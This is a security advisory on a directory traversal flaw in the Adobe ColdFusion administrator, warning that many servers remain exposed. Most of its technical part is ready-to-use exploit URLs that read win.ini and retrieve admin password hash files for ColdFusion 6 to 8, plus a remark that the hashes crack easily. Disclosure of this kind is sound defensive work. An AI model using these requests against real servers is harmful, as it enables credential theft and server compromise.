Millions of ColdFusion users still at serious risk

Millions of users of Adobe’s ColdFusion programming language are still at risk of losing control of their applications and websites.

Out of the twenty two corporate sites originally surveyed for an exposed ColdFusion admin interface, only two sites have removed the interface with the remaining twenty sites still having the interface exposed. ColdFusion administrators must restrict the admin interface now or their servers will be subject to attacks, also placing their users at risk from uploaded malware.

ProCheckUp has now released full details of this advisory so that readers can now see for themselves how trivial it is to fully compromise one of the millions of exposed ColdFusion servers.

The advisory demonstrates how penetration testers were able to access every file including username and passwords from a server running ColdFusion. This was completed through a directory traversal and file retrieval flaw found within ColdFusion administrator. A standard web browser was used to carry out the attack, knowledge of the admin password is not needed.

1. Multiple administration programs are Vulnerable to directory traversal, due to the locale variable not sufficiently filtering submitted input. This is a generic Windows attack.

The following examples the cfm extension is mapped to an Apache, IIS etc. web server.

http://target-domain.foo/CFIDE/administrator/settings/
mappings.cfm?locale=..\..\..\..\..\..\..\..\windows\win.ini%00en

http://target-domain.foo/CFIDE/administrator/logging/
settings.cfm?locale=..\..\..\..\..\..\..\..\windows\win.ini%00en

The following examples directly accessed over port 8500.

http://target-domain.foo:8500/CFIDE/administrator/datasources/
index.cfm?locale=..\..\..\..\..\..\..\..\windows\win.ini%00en

http://target-domain.foo:8500/CFIDE/administrator/j2eepackaging/
editarchive.cfm?locale=..\..\..\..\..\..\..\..\..\windows\win.ini%00en

2. Single server configuration ColdFusion administrator password retrieval.

http://target-domain.foo/CFIDE/administrator/logging/settings.cfm?
locale=..\..\..\..\..\..\..\..\CFusionMX\lib\password.properties%00en

ColdFusion 7 admin password hash retrieval – easily decoded using a SHA1 rainbow table

http://target-domain.foo/CFIDE/administrator/logging/settings.cfm?
locale=..\..\..\..\..\..\..\..\CFusionMX7\lib\password.properties%00en

ColdFusion 8 admin password hash retrieval – easily decoded using a SHA1 rainbow table

http://target-domain.foo/CFIDE/administrator/logging/settings.cfm?
locale=..\..\..\..\..\..\..\..\ColdFusion8\lib\password.properties%00en

3. Universal multiserver configuration (ColdFusion + JRun) ColdFusion administrator password file retrieval.

ColdFusion versions 6,7 AND 8 admin password hash retrieval. Versions 7 & 8 are easily decoded using a SHA1 rainbow table.

http://target-domain.foo/CFIDE/administrator/logging/settings.cfm?
locale=..\..\..\..\..\..\..\..\..\..\JRun4\servers\cfusion\cfusion-ear\
cfusion-war\WEB-INF\cfusion\lib\password.properties%00en